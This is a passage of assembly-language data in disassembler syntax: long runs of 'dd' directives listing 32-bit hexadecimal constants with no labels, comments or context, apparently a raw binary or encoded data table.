dd 0C83EBA79h, 5A131B9Ah, 0FE87624Dh, 1622F4BAh, 0C84411AEh
dd 0DB6CCAB5h, 0CE42D45Eh, 0EC344826h, 0C8181085h, 0D0F666B0h
dd 0DAD5C834h, 6F894A4Ch, 328A1D97h, 0F4702ABBh, 0A8370F86h
dd 3B424A4Dh, 8BBF9927h, 9F3DCF41h, 31ADB6C0h, 0FAE33D9h
dd 0F589D44Fh, 0C747F759h, 3A120ABCh, 8C34A541h, 11FF3BEFh
dd 0DEE6159Ah, 480C4774h, 681B7702h, 2C367C67h, 23845B26h
dd 0CECCEBE3h, 3EDD6E08h, 2F4A0400h, 4A61F019h, 0C7BBCDDDh
dd 0EBFADAA3h, 0D6353160h, 9B621E92h, 0F64DBE37h, 3790331h
dd 0E77D8EB4h, 0EA225B98h, 0A5C0BEA1h, 16410F98h, 3603B948h
dd 0C94C1A2Ah, 2C54D91Ah, 0F6AD5719h, 5CE7E931h, 40366C0Fh
dd 0BAA6F2BCh, 65EF580Ah, 0D10B4E10h, 334A2F22h, 437713F9h
dd 386988A9h, 0ECD7D70h, 5363F2DAh, 0A02C0D99h, 2D2BA737h
dd 3201EFE8h, 58FB85C2h
dd 0C69FC3E7h, 4C1F60Dh, 5E7D88CCh, 0B98A74F4h, 967C001Ch
dd 0C9BE8FEDh, 4447A92Dh, 0E124F170h, 239D2555h, 0FC34201Fh
dd 8B266325h, 50C85E85h, 0A5AFE9C2h, 2C6943C5h, 37BA5467h
dd 2DA8E396h, 81F20EBAh, 0A97489DBh, 2F08FE03h, 0AEB925F2h
dd 7481DBCh, 56BA3469h, 574A0D90h, 9514513Ch, 0CC3F2CF3h
dd 297B60AEh, 685FD4DFh, 5B8300C8h, 2C104F1Fh, 0C2606316h
dd 0AE28845Bh, 2BCC9A66h, 6028437Ch, 8FE460B0h, 1BF4827Eh
dd 49FEB085h, 48D0E7B2h, 69597BB2h, 0EF7BF58Fh, 0B218170Ch
dd 0BC55CEACh, 0CA1BCB11h, 0B06E3F0Fh, 0AB35C1C3h, 59EB18B5h
dd 0E596C90Ch, 66599A4Dh, 9CBEA578h, 0F23A02BDh, 0C2DBDE9Bh
dd 98842F77h, 6EAA4722h, 0CA4D8201h, 0FD18BA5Bh, 440FF2DBh
dd 8E75209Fh, 0E671CC15h, 0B2E8B0E2h, 0C24E83BCh, 0BF812B05h
dd 96B9EDC9h, 27FA3E99h, 95464B8Eh, 4EE0CBC9h, 9AA2FBCDh
dd 0B0AAF579h, 0D1B45C70h, 23D9C8B9h, 10BF6843h, 98771876h
dd 0BA03ED4Fh, 6AEEA3F3h, 251CE0C0h, 5652D8FBh, 37FA0933h
dd 0BBD6D5C8h, 0B8E4D483h, 85C2C428h, 6793F458h, 0CD0F7FCh
dd 52EBC8BAh, 0B7F8D495h, 38A2A539h, 9B417537h, 0AD3EC7BEh
dd 3ECAE6EBh, 0F3F59B5Fh, 48A54526h, 6A9F3CB1h, 9D08849Fh
dd 9C1A6A4Dh, 6FAE18AAh, 0D68F606Fh, 98C0D0C5h, 1B2B1CA0h
dd 0F49B23E1h, 0DC006916h, 5EEFD917h, 0AECEAC40h, 3AC54E4Eh
dd 0EE3461FEh, 0BEE6CC45h, 2D6815FDh, 7603CDA7h, 0C0E54673h
dd 47F84E8h, 0ED7DD543h, 0E0564C44h, 0B74EBEF2h, 6BF781C3h
dd 7D60E2C7h, 51566EC8h, 5D1375CFh, 0D9ACD553h, 1AA762E1h
dd 3F5C5A65h, 0F35C2148h, 0F6778E90h, 7A42CCBCh, 0F119369Fh
dd 0FC3A9916h, 3BC46847h, 0DF8CE391h, 24C704Ah, 46DE42C1h
dd 0F4012154h, 0CAF21110h, 6B6D831h, 869D668Ah, 4FA5A802h
dd 7234C96Dh, 4E78A1D7h, 64760809h, 82761B68h, 1F8D8869h
dd 13FAB980h, 3FC6C147h, 0B50D26AEh, 908E3975h, 0A875DB22h
dd 8D1A4DE8h, 8427A04Fh, 8842953Ah, 827BE028h, 0A9BDF340h
dd 0EACE813Ch, 0CC650FC8h, 6AD6EA67h, 2F4E0AFEh, 0B01C54EAh
dd 76B2B1CAh, 0FECA1C21h, 0F3B23201h, 9AB4C4C7h, 0EBECD43h
dd 0DD30FDB1h, 669D77Bh, 724DBA7Fh, 408295D5h, 39EB6EFEh
dd 0AEEE8EDEh, 0FD0E7141h, 2C2FB98Eh, 0F93337FAh, 0A802950Eh
dd 9457AB71h, 3275CF3Eh, 0F4876194h, 1DA2F44Ch, 0CC52B628h
dd 904C561Fh, 4A007061h, 0E33AC9FDh, 7B831E30h, 0B52E3763h
dd 15D4B426h, 7741184h, 67ACD5BEh, 8E17549Bh, 13338F7Bh
dd 1B1EAB5Bh, 5EB016BAh, 7C497DFh, 71D0F8E5h, 0C3539255h
dd 6C83549Ch, 0A3CC60D1h, 0FE96EECFh, 74FDADB5h, 3571DC8Fh
dd 0FCB8EFC9h, 1C83E819h, 2F251881h, 249A49D2h, 0C826851Eh
dd 3A4C7264h, 93E61E40h, 50441EDBh, 0F56F637Bh, 0FB3E416Bh
dd 3ADDD6A0h, 31E1A412h, 1160EC2Fh, 0D2AB8410h, 6101578Fh
dd 32409291h, 0ACD99CE8h, 81FB9E2h, 0B917E8FBh, 1180C6Ch
dd 9DD6661Bh, 80CA31C9h, 0CA400350h, 3B5F90A0h, 95AA5BF0h
dd 16AEE0B4h, 25A192E9h, 34978B6h, 27E42CDAh, 527480AFh
dd 0A73DDC18h, 0C4C9C79Bh, 85301AC1h, 0AC5983BAh, 0B7FB9C9Eh
dd 67CA54F1h, 0DFCE1CC3h, 4692551Fh, 81C04884h, 2B4BFC37h
dd 90B65B30h, 5F5CDCACh, 502F550Eh, 0AE99335Dh, 69298491h
dd 14662D71h, 8853D6F3h, 0BF55EAFh, 19965D73h, 0DB0B746Eh
dd 757DF77Eh, 8C4CB3A7h, 0FB1901A2h, 9ABC7CBh, 0E185A821h
dd 11E1AAB5h, 0DF65482Ah, 5144F4E5h, 36BAA1D8h, 27D32675h
dd 29298C7Bh, 1F754683h, 0C91A371Fh, 531BF6DDh, 0B8116395h
dd 0FE3D677Bh, 0BD3AE0AFh, 0D7A1228Ch, 0F39AA5EBh, 0BB205E49h
dd 0DD471C55h, 0CDD24BE8h, 61A860A9h, 3B14B3E4h, 0AC068019h
dd 92110C8Ch, 176E4EE1h, 24AED70Bh, 0FCFA482Fh, 0B761723Eh
dd 4D2CAEE1h, 2EBC0041h, 3B9B5F34h, 0AF511EAAh, 0F1E745ABh
dd 0FB93E683h, 3BAF2595h, 8B54B586h, 0E9623DC1h, 0D4C89150h
dd 0CBB069B7h, 4F871B7h, 0B49B2B0Ah, 0DBBE6D58h, 8FB99210h
dd 0C7703142h, 34DDC72Dh, 152C4097h, 7BB53403h, 888C7846h
dd 90E2425Ch, 0E60E6959h, 29AC8599h, 530B590Fh, 5E594F15h
dd 6159CB15h, 3C9D2E78h, 1D5021A1h, 2FC06836h, 0A11DF63h
dd 0EE19C54Dh, 0AE813CBCh, 52F11294h, 45E10987h, 0E96FD607h
dd 8D4D7A70h, 9D0BDA1Bh, 38ABD2A2h, 0AE81CCBAh, 2617558Eh
dd 87EAD986h, 0E46E1D9Ch, 8B83398Dh, 0FCB840BCh, 0BB0953EFh
dd 65EE290Eh, 6039231Bh, 9ADD9C8Bh, 407E7F0Fh, 0E296934Bh
dd 0F474EABAh, 843F6070h, 0A800A3A4h, 57B630F8h, 0EC8200DBh
dd 35504007h, 54679838h, 23AE737Fh, 4EB9A021h, 0ED30482Fh
dd 8886834Eh, 8C2216Fh, 0C635FA46h, 5F3150F5h, 44F3AA3Ch
dd 0B1ECF6D4h, 0D226C3B1h, 57D11164h, 6C97F5AAh, 0B47AA632h
dd 9B667B8Eh, 0FFE08AEFh, 8263CCBAh, 792EC83Dh, 391F82Fh
dd 0D0851D6Ah, 6346E171h, 0BB8F7419h, 0ECB0E230h, 0D63417E4h
dd 5145A620h, 2B652FF8h, 1D37E575h, 0A269C815h, 91E5495Ch
dd 0C73971BAh, 0FAC76E74h, 2AE7FED0h, 0DA5DDF12h, 0F573421Fh
dd 75D61464h, 92E465D8h, 929BDA54h, 5ECC2589h, 5D1B670Bh
dd 9DCF4F85h, 0F69C2FB4h, 481010C1h, 0FD1BF203h, 0BDE67F90h
dd 666A2B87h, 251A99EEh, 6108F451h, 8E5891FCh, 4B558BE1h
dd 1DD665B6h, 950E6BE5h, 4FCAFA5Fh, 5DC92C9Fh, 4E91CC66h
dd 0BA1C777Ch, 3C9B1B85h, 0C8825D3Bh, 0BF3FAE2Fh, 9C5E1B4Ch
dd 6C080B7Dh, 53C69187h, 2467ED06h, 28C3FFCDh, 9D81A1F6h
dd 0DF6174E2h, 97DE0FD3h, 59FB4B36h, 0AC728809h, 0EA123659h
dd 23BE24CCh, 0B6DB70E5h, 20591AA9h, 9B3D4166h, 4219FB54h
dd 87AFE1E0h, 80690517h, 0EADD436Eh, 618493BCh, 0EDBB2987h
dd 98DC0B3Ah, 0F9A9DD63h, 0FBE04D83h, 0AD3A5F71h, 7DBE3A4Bh
dd 6E8C7F8Eh, 9B360F11h, 627238B1h, 0B9D72AFh, 0D51F616Ah
dd 535034CFh, 0FC90B828h, 53A2AF22h, 0B370A488h, 39E80178h
dd 3B9E25D5h, 0C3D536C2h, 3C81DFF4h, 38496E58h, 8ED1832Bh
dd 48340972h, 8B200ACBh, 117C0DBFh, 0C68C8C75h, 0CB742498h
dd 905C0E2Bh, 46E0F222h, 4644D30Ah, 24BFC63Fh, 0B76B63FFh
dd 1A55CB1Eh, 95A7A28Fh, 0EDED2E3Bh, 4244F1C8h, 4D4281A6h
dd 423A8BD6h, 2D5796D6h, 0E95D246Dh, 95F5507Eh, 77D6DE2Ch
dd 92904FD9h, 73C03946h, 2701D59h, 0B122BF0Ch, 560ED12Dh
dd 0FF91EED5h, 7077F09h, 2B664EDCh, 0E4B6E279h, 0ADD244C8h
dd 18C3F014h, 4E762320h, 9C1B2CE9h, 5ACBDBE8h, 5A0FA24Ah
dd 0EF291A24h, 4B9092AEh, 7FFDE31h, 5366C9A3h, 0FB3BE7E9h
dd 0FFE4157Ah, 3FD0046h, 43AEF40Fh, 0AF10070Dh, 0B401C30Eh
dd 71EF79B4h, 61F55A9Eh, 0B73C5A86h, 665E78B1h, 56B1D69h
dd 0D5F6E1AEh, 869295A5h, 77774ECh, 0B0B9BE06h, 556F93A2h
dd 33FA42F7h, 0F157572Fh, 0E12B14BAh, 0CE4F15ECh, 0FB75DDDEh
dd 0CCF0971Fh, 448D5AF8h, 0B41B952Dh, 0DB341CF8h, 0D2B89053h
dd 1AF56767h, 0AF93FBBAh, 83C5C31Fh, 0A07F48ABh, 0B2472D69h
dd 5F780DFBh, 0D30C26FAh, 0E6AD2B36h, 361AEA6Dh, 400C3B2Ah
dd 70F70A78h, 1F3EEDDDh, 903DCB98h, 64692A82h, 0D17DDBEFh
dd 46CCB52Bh, 0FA3C71E4h, 12D7BF5h, 0FC4A5020h, 0C94163A2h
dd 58CE23E8h, 2ABCF6AEh
dd 0B5D28111h, 0AA60CA70h, 3B776B6Ch, 5272226Ah, 0F100FEDh
dd 34E0D42Ah, 3A5F41A9h, 0A40A2A61h, 1E34168Dh, 0EA91785Bh
dd 0CBA0D149h, 0B2DE9997h, 1F096D56h, 17720FB8h, 23BAC2B1h
dd 613D660Dh, 6BC58BCh, 16C66C5h, 7C8BBD08h, 8783E432h
dd 94048E11h, 77B84471h, 4DC8C2F8h, 9515EB2Ah, 28E575h
dd 5EABAE72h, 91B223DEh, 0D67E1167h, 75649AACh, 32FE9B95h
dd 545C2351h, 768603CCh, 4A5F2DD5h, 0C3BD5715h, 9534BC4Bh
dd 0BF7C3DF3h, 0D65328A6h, 255066E6h, 6389D213h, 1443262Ah
dd 0A0C3FF7Bh, 4C0261F9h, 0D710B32Fh, 0A7FB0D18h, 0A59B2553h
dd 1EAC8C6Fh, 4E3E6AAEh, 8E4D1C5Bh, 926ECAFEh, 0D668764Ch
dd 0C0ACBA2Ah, 6F669E7Bh, 843D2A96h, 914E440Dh, 0D7B6CB41h
dd 63915DF2h, 0DCB43DA2h, 45689BBDh, 0D25536CFh, 0BC451E2Dh
dd 2CCEB948h, 4B90B20h, 81AD94A8h, 6C42E002h, 30A007Dh
dd 368AA93h, 0DB4688DFh, 55014751h, 8C0278C5h, 0FC4E968Eh
dd 324DA9E4h, 6598A6E1h, 0F401DEE6h, 162304D6h, 73D72E7Fh
dd 0BC4E81A1h, 0C7A2D34Ah, 6B04CCDBh, 0A9C452A4h, 0FF04F14Ah
dd 0E59AD43Bh, 0DCEE5ACBh, 79507F00h, 8A0F25D3h, 0A85D8453h
dd 0BDFE18B0h, 430A99DDh, 0D9B03CC1h, 0AA6E9214h, 55D19535h
dd 42F170FAh, 0B7C48F34h, 78D298DDh, 0DDF3B0E2h, 0BDF9046Ah
dd 67F467D4h, 864ED3D7h, 162E8554h, 2A2B2767h, 7A2E0EBFh
dd 0CA96B9Ah, 72F6C24Eh, 0D2242941h, 7D71CFA2h, 0B6F1C2h
dd 0CEDA01C6h, 5B8AA01h, 0BEC3EF20h, 1E62D5D8h, 0B8EF6615h
dd 0E4542B2Eh, 0FD30FA97h, 0E3149BF2h, 8EA2772Ah, 77C2B5FEh
dd 3E2C2438h, 6340CC01h, 4D5CBA15h, 144DEF41h, 58EABC13h
dd 8576A9CEh, 97E51BF9h, 0F1128680h, 0F54CB3C0h, 0D46AE4FAh
dd 0BC73E95Dh, 0EAF5611Dh, 0F7D7AFAEh, 8904A6h, 31E7D558h
dd 5BB1A470h, 24526C7Ch, 0C65FA70Fh, 0BE7D872Dh, 7E50B4Ah
dd 35DEE265h, 43EE1E3Eh, 66DD9DC2h, 293627C6h, 237FE8ECh
dd 0C5FDF46h, 6B9EDF7Bh, 0B89A3EF9h, 0BE01E601h, 0B366142Bh
dd 4613949Ch, 3038DC43h, 0C560109Ch, 0F491D8EAh, 0FEC54781h
dd 80C226Ah, 63255FF9h, 5BA4BF41h, 0FD936A3Ch, 75333C88h
dd 0BFCEFDC8h, 87D8E348h, 819AEC66h, 26BD246Eh, 0CB2EA6E9h
dd 3DC72D1Ah, 0D3A359D9h, 7664632Bh, 1926437Ah, 68E06637h
dd 1BFC3ED1h, 0FD063C35h, 49C55986h, 440DF907h, 0C470D508h
dd 76FFC73Ah, 189C4247h, 4C92C21Dh, 0E74B037Ch, 38AAF4F5h
dd 0DC53615Bh, 0F79480EEh, 589E8274h, 630C940Eh, 0F4270F98h
dd 0DF0586B6h, 4BA519Ah, 0BC49C172h, 0AD89B2F3h, 0DFB3DAFFh
dd 8A360F12h, 0F955F988h, 42CBD5F1h, 5F243C92h, 0D2729244h
dd 2699E972h, 150B1208h, 0C88B4E83h, 0D2BA9BB0h, 82B81CE4h
dd 0ABA85434h, 54558E4Dh, 2A41B802h, 48679E08h, 0A1754234h
dd 0BE3F59E6h, 0E1B61961h, 0E61A5516h, 4124D0h, 0DDA7D498h
dd 111F35DAh, 0AB4D2F3Ah, 1C9BB118h, 4B50AA54h, 0DEE0ACEAh
dd 0E0C6B7B2h, 0F9438A26h, 407F665Fh, 88715D2Ah, 41AD76C6h
dd 0ECB3F725h, 1A41617Bh, 8A8C644Fh, 0BF0DF0E5h, 1FE2697Bh
dd 1C043EDEh, 17704157h, 15320DDAh, 0FF09B998h, 72E5B0ECh
dd 0E0DBA14h, 0C8AB9E65h, 0D9F2C77Bh, 77901862h, 7822AB08h
dd 0E7D87EF3h, 8D706F13h, 0DC20DA5Bh, 0B0F2256Bh, 6594599Fh
dd 525F4AA0h, 27996EA6h, 9846B146h, 2C3360C8h, 0AAE2339Dh
dd 740557E3h, 0B471E47Ah, 8BC63E4h, 0F2A7650Fh, 73BEF0D9h
dd 7D01002Bh, 0AA1337E8h, 0AA5D15BCh, 0E4C8BCC7h, 44824FA3h
dd 0FD81B806h, 0CA40551Ch, 40F6EAB7h, 6984ACDDh, 647D7162h
dd 1B2EB3C7h, 0FCC2BC1Eh, 0F9AC21E9h, 93E7A8E1h, 798FDDC3h
dd 0E1E272F8h, 2E233428h, 60953FD7h, 0BEFC483Eh, 6F8EF726h
dd 4F507EB3h, 2F3387D6h, 494B57CDh, 2E213C88h, 0A1B8A2AEh
dd 0DDA7FD68h, 8E05E10Eh, 0E6CE8E9Ah, 43338B44h, 0DD2681F1h
dd 5FC08EF4h, 92E10E2Ch, 90CB8D6Dh, 6ECE3269h, 48A0FD75h
dd 0ED334874h, 0E852D7B8h, 0CB0A600Ah, 2F27D2DCh, 0F40F0E82h
dd 21E0BA4h, 0CA9240A9h, 696815E4h, 1FF965DCh, 4B188537h
dd 8B9E0B41h, 3CC2CC81h, 9FCEB593h, 0F67D94B7h, 4C291DFFh
dd 371B6C14h, 404B7364h, 533B2210h, 2865A6E8h, 0BB5CEC82h
dd 8F5B6B19h, 51D33557h, 7DEF41A8h, 53DEDEDh, 0D1764506h
dd 0EFBB170h, 814BF78Ah, 95C33ADAh, 29DA7297h, 46469E4Dh
dd 7841380Ah, 0F9167FEAh, 1A04F406h, 2B59C50Bh, 758DEF2Ch
dd 91DC630Dh, 6D325375h, 9B8CA6FBh, 84FBCEDEh, 4CA277C8h
dd 68DD2AD9h, 0F1C29A27h, 65FA685h, 4D2F99Eh, 13028682h
dd 0F77D742Eh, 77B81220h, 35D22B1Fh, 1CA29837h, 0A0D684E1h
dd 0BF9938BCh, 84669106h, 0E6C9AE48h, 42CC7510h, 0F5B867D9h
dd 0BE69D8FFh, 7A875F37h, 72C81896h, 17E49EBAh, 9B218CCBh
dd 6C28399Ah, 3FBAE8CFh, 0D5E54F28h, 0C8686E94h, 0C4253EA8h
dd 0D4EA98AFh, 0E55DB722h, 0BAA1A751h, 2AA8BF96h, 90BB477Eh
dd 4068B4A7h, 7FBB46A1h, 41884A7h, 4AAEAD2h, 0EC2D2BD2h
dd 701314C1h, 647C9841h, 944AB8C7h, 78DC616Bh, 71683DD8h
dd 28024F9h, 92B51B1Ah, 498CF11h, 113F1B43h, 22DEE5C7h
dd 13CF506Ch, 0DB8D6DEDh, 0C0F8B0FCh, 3CEF82D1h, 0B74D7976h
dd 198C2A4Ah, 1EFEC2A5h, 29D76A2Fh, 6E5AB095h, 531C4C87h
dd 13A15DAAh, 0F0E2B64Fh, 79E4981Ah, 0CAE8D3h, 0FA9167A5h
dd 8C3310D4h, 3FE3F918h, 3A41C3FDh, 84803E46h, 0FFD253A5h
dd 2D0FA927h, 11040790h, 652A686h, 0C0281727h, 0C9475CD4h
dd 5D59B96Ch, 823CAB0h, 982B0F3Dh, 0FB5EEA87h, 0F577003Ch
dd 8AD4B78Dh, 29D83199h, 0F3AE8281h, 0BA1ECD0Fh, 0EA82065Ah
dd 0D064ACB3h, 0BD267CCh, 19810793h, 0D88E5E75h, 0E650F063h
dd 0AD6572B0h, 0B0B6C427h, 5C0D0DE9h, 6026676h, 0CCA820D5h
dd 65FE6E36h, 0BB6308DEh, 58099618h, 0ACF03C93h, 735CE5B0h
dd 531F4C03h, 1A364ABDh, 84AB14CFh, 0C784DF24h, 75B5AD97h
dd 99AE2DCDh, 0F3DDFDCEh, 608C4DAAh, 8BDB81D3h, 1418E0F2h
dd 195FFDD1h, 68CA6B03h, 41BE4AE2h, 0BD54C6CEh, 9EC10D0Fh
dd 0E495E356h, 0E6DB432Dh, 0FE3A0494h, 0D45FBBB1h, 9A946EABh
dd 76833A7Fh, 1B4BB673h, 322A880h, 0FC54FFFBh, 0A69A33BCh
dd 4A0F8B31h, 0AD6D1D73h, 943E5CB7h, 36AC236Dh, 0EADF435Eh
dd 5AF7DB72h, 85A4A80h, 0C7C1B98Ch, 0D7E47C26h, 90A935BBh
dd 0D0CE677Bh, 5D83B12Ch, 23E60420h, 6A36249h, 5C01C29Ch
dd 0AB9C6A2Ch, 338BE8ECh, 0D8594EAEh, 0B2BE3870h, 0D842B2B5h
dd 2000B38Eh, 990604Eh, 654460D9h, 9AB08858h, 4D994396h
dd 76D2C114h, 2B602D9Bh, 6D0441Dh, 28B67036h, 8DD4603Bh
dd 29F8E58h, 0B8DCFB7h, 0C9489B4Fh, 5D102D77h, 0AB4E4F35h
dd 2A631EC6h, 1CF89ABh, 0B4CBD832h, 2422E573h, 0FCDDB9EAh
dd 1942996Bh, 0E2F876A1h, 7F7B4B78h, 9F7FFCAAh, 0CC728E1h
dd 0D5208D31h, 0C9271390h, 37C0D900h, 0AC4F7846h, 6A3EF0EBh
dd 17557BEBh, 0AF2D194Dh, 0C041AF44h, 0F2EC9F43h, 84B2C754h
dd 107DE1D6h, 55874375h, 91E09DD2h, 20DDDB17h, 7CD1A24Dh
dd 1DBEC981h, 2CF2C0ECh, 0CB742DADh, 0FC2572AEh, 2B19A419h
dd 0CB087C3Eh, 0F22A40BDh, 0E78EDF44h, 0C287FB6Bh, 62E21EDh
dd 0F224C6E3h, 723FD0DEh
dd 906918Bh, 3A16B810h, 93A95992h, 7E675599h, 954A7AA5h
dd 9418CF39h, 2D8C4D0Ch, 59E043AEh, 0D5A59D13h, 939C16A3h
dd 0B77A2855h, 834B5815h, 933E2B9Eh, 20A9ADB4h, 0DF1D6C36h
dd 39DDAC86h, 0E6137BC7h, 0B6019155h, 0B230094h, 0C4BA0932h
dd 7512A27Ah, 54CD3312h, 509E3B34h, 552CC7E9h, 0D8E99ED9h
dd 0A36F7F32h, 7E6ED785h, 0E71DE6FCh, 0E5E0A615h, 0B13094D0h
dd 0DBBF35F4h, 0F5245F5Ah, 0AC365088h, 0CB143EABh, 228FCDADh
dd 0F44EF4D8h, 4A5FB3CCh, 558E1F61h, 5529BA0Ah, 4255E7B8h
dd 1BEF5D0Ah, 40712AF8h, 50704F79h, 0F53E8A8Eh, 0F2F165BFh
dd 26F79C98h, 5338CD3Fh, 0CA83A6E7h, 969301A3h, 1EB492C1h
dd 5CB02FD0h, 0FD06A2EFh, 750EF8EFh, 9DF94472h, 0A8B0FCD6h
dd 297407A3h, 0EDA55EC8h, 2151875Ah, 0E4CAD25Ah, 9674660Bh
dd 5703E667h, 480581D1h, 0FBDD49BAh, 0D646140h, 0A789468Eh
dd 33ADCDF0h, 9E95FCE8h, 0CBDC1713h, 0BD48D03Eh, 26B68310h
dd 0D52617DBh, 53255D2Bh, 454103E7h, 0AD957DEEh, 0A306DC51h
dd 0AD657F4h, 0D9CE7574h, 4FCED552h, 0C08D9A86h, 6B7D8B18h
dd 9854519h, 0E901D306h, 73FEBDD0h, 0E73E7ECBh, 47548729h
dd 6E162440h, 821B480Fh, 0C5018738h, 479EE0E1h, 7B97591Eh
dd 54238416h, 81A43166h, 4E450176h, 25BA80F7h, 0B0166F1Dh
dd 1A924A0Ah, 0A4AF10C5h, 8B3F09C5h, 0CA2165BEh, 17975C09h
dd 1CC140Dh, 67058841h, 0B6A9C29Eh, 0BFC6F6C4h, 6AC6C309h
dd 0A42EFF85h, 9EDCA0B9h, 0FB9ED412h, 8E257242h, 68305DD1h
dd 0A142E7E9h, 50B5F31Fh, 748B0E2Ah, 1AF5D98Dh, 959EC48Eh
dd 0E76954D0h, 3E7040C3h, 0DD97AD12h, 5F8DD7ECh, 8FF5CFE8h
dd 0EAC5BFC9h, 0FAC3FC66h, 70AA675Ch, 76B9A7h, 159EF46Bh
dd 0D949456Ah, 55E1DA25h, 0FF6DFFDh, 0AA9413D7h, 18DA28Eh
dd 0EE18184Eh, 5E4C084Dh, 351594D2h, 1CAA6F3Fh, 3571E5ABh
dd 0FCFAF2FDh, 1C4C035Ah, 793D3EC0h, 89B38587h, 0C765CD3Fh
dd 699BB06Bh, 0BE7A6BBh, 4D215C3Eh, 366BC2D0h, 19312C55h
dd 0B734E056h, 0D3B508Dh, 0CE958E16h, 391463A4h, 0BCD86710h
dd 5EDEB133h, 2B6B46Fh, 0F39CD239h, 0E0D64054h, 0A18D5DEBh
dd 77294336h, 0A5D06170h, 32D27412h, 20ACD54h, 74516B37h
dd 0AB246F0Fh, 7970286Fh, 714A3CB7h, 770C97EDh, 9E5AA87h
dd 0F6FC18B5h, 0AF19C207h, 44BD4B4Eh, 0D35ABA27h, 948D6C4Bh
dd 0E3F9DCBEh, 6A26DB8Dh, 0FB1445A6h, 39D2B267h, 5EF3901Fh
dd 0AC8F490Dh, 735D8F70h, 2F4B6F15h, 0E34B04E0h, 2E94DDE8h
dd 6E6E1928h, 0E45F5A2Bh, 2EA47EF8h, 0CFC097F6h, 40C133B5h
dd 0F32847h, 82EA4696h, 3B8C7256h, 9EC24CF3h, 0E7E0873Ch
dd 0ED0CB37Eh, 7D7A3638h, 0C27117D8h, 0C3D1F099h, 2CBC92B0h
dd 78A7AA99h, 0A268129Ch, 1B386C0Dh, 0E8271BB3h, 6E68428h
dd 0EA8A460Dh, 42AA29AEh, 6059C288h, 60256CDFh, 77063AB1h
dd 5ACEE3C7h, 80BF027Fh, 558A482h, 9778F5BFh, 84ADDCAEh
dd 15664A0h, 5924D7BCh, 0FAEA99F2h, 0A1AE1D85h, 7771AAB5h
dd 0B4F5B4FAh, 67ECF9E3h, 0B5440C20h, 982736A6h, 0F1102F41h
dd 9ABB8D73h, 78E34559h, 901DEC0Ah, 3031A6F4h, 89A9CC10h
dd 52427387h, 4E23DB8Bh, 33B3CE6Eh, 0FB8FE13Eh, 0B7563B3Ch
dd 0FABA7F37h, 0B26F8EB5h, 1B551DDCh, 0C6ED0D60h, 0F4A108E2h
dd 0E61C0610h, 44ED0907h, 70A787E9h, 631BBC4Eh, 79116B05h
dd 1C8AB100h, 2A90C011h, 0FDFD28C7h, 1EE0F17Bh, 0BE3FA5D9h
dd 0D6FA0B63h, 1B331DDBh, 268F073Ch, 144584DCh, 46AAB6CDh
dd 0D75E793Bh, 91A1573Bh, 5C2D0142h, 7CF2A866h, 658427F0h
dd 596067E4h, 7135BA2h, 0F1F0F7F1h, 0E22C6E04h, 2D49BDA5h
dd 6CE07536h, 0B969518h, 0C0F20E8Bh, 18D0C5C8h, 762760EFh
dd 5D6DF43Fh, 0F5BC9D84h, 48BE306Ah, 7B5D6586h, 38CBF0Bh
dd 36510358h, 8BC3D6F6h, 0E33972F8h, 0DC185FA2h, 15504430h
dd 0B41CDF46h, 86C7E512h, 42B89E86h, 0CE77DDFDh, 0CB75FCF3h
dd 3557A6AEh, 0C1630D09h, 82D5EA8Ch, 7CB6646Bh, 12C4D249h
dd 914E0DBCh, 8560830Ah, 0FC3AE7B9h, 3D8212A6h, 0DB1BAC76h
dd 0C07C345Ch, 0D898DB1Eh, 0DCAE6E14h, 7FBC57D7h, 32CF7BE1h
dd 0B032947Eh, 2D64A268h, 23A16BC4h, 93D251E6h, 0EB706821h
dd 2734EA1Fh, 0ECF0D60Eh, 0C0512ACBh, 0AFEEE3FCh, 5AD040DAh
dd 2DA0AC2Eh, 0A653EFD6h, 91DB0E59h, 0EC9F2589h, 4D739EACh
dd 0FBD5E535h, 333C6A52h, 0E774D362h, 0A008FFAFh, 0E42D0D31h
dd 0E47E6B3Ah, 9B1F030h, 0CFE1395Eh, 0F10EC45Fh, 0EB79FE40h
dd 0CB9DFECAh, 5DD4011Fh, 0C9B0BA1h, 0AE65ED31h, 7C2C34Fh
dd 0CD4BD8A7h, 2CFBAE4Bh, 628EE8F7h, 0CE40B721h, 922CEA59h
dd 6449E78Ah, 24787513h, 0B2CA9AB2h, 0F577C20Fh, 9B995E6Ch
dd 1CC96DCFh, 0D7BD1DD7h, 174635A7h, 65897F89h, 0FAE00623h
dd 0E04790A4h, 97E01C3Ah, 0C5CF0394h, 8CD3FD62h, 0E3B45AE0h
dd 3C8D5015h, 67E24FB4h, 23DB0045h, 35E9B9BAh, 0A2B62542h
dd 13AC7420h, 564D27B9h, 0B27CD94Bh, 8FA6B270h, 0ECA24276h
dd 0C99BCF3Dh, 40CCC4Bh, 0E6AE884Bh, 508202F7h, 5B0C46EEh
dd 293CC550h, 0DF519CFFh, 0B757F724h, 0A85C076Ch, 56D13F07h
dd 3D670203h, 560BB2D6h, 0DEF74111h, 0EBB675ABh, 815656B2h
dd 0E030DF68h, 0C1A03D54h, 72CCFA05h, 0AAECCF36h, 0EB8391E9h
dd 0D6D7578Ah, 0A86D2226h, 16C1D5F7h, 0EB75F86Fh, 14C9B3A2h
dd 339A7784h, 57C8524Ah, 0E264F365h, 5D22723Ch, 9F2CB208h
dd 8698DB29h, 0B934CB0h, 0AF98B8AEh, 0CAD640DDh, 93001CE7h
dd 0D871D099h, 7213752Eh, 36F4D45Eh, 0A533E3D9h, 0B8BB67D4h
dd 0BD9BE9BCh, 0D4648C88h, 0E33FE3Eh, 19006300h, 2B9AE66Bh
dd 0A457D889h, 40D0ADC9h, 0AE15695Fh, 48431424h, 0E7FFBD44h
dd 66634A2Ah, 9259C900h, 91FEE057h, 0F84222h, 0E0C5D6FEh
dd 375904Bh, 8A419B0Ch, 24E11A6Ah, 0E9476D97h, 0ED381498h
dd 0F00FAEABh, 0FCB80CD2h, 0D5E77B7Bh, 0D90B860Bh, 13BE99A8h
dd 100B73CCh, 85C7A490h, 0DCEEE890h, 0DFC86ECDh, 39C12969h
dd 9B9B6955h, 0D37566A2h, 8616BB8Bh, 4F634ECAh, 0B05A4A72h
dd 5EC7FEE6h, 0A7EF49B8h, 43ED771Dh, 26C1326Ch, 0A8A389E0h
dd 0DEFEC2A4h, 9DD89A5Dh, 64844E44h, 0FA76B5EFh, 0CAE232BCh
dd 6AA99FF3h, 3079A094h, 0A3C70D2Ch, 572FAE2Ah, 79BE7421h
dd 0DE01C8C5h, 3A9EE51Fh, 76371E41h, 5B4CEEDBh, 0DE14CD3Bh
dd 83F7812Dh, 0D29EA072h, 0C73625C2h, 1339BBD1h, 5CC0F59Eh
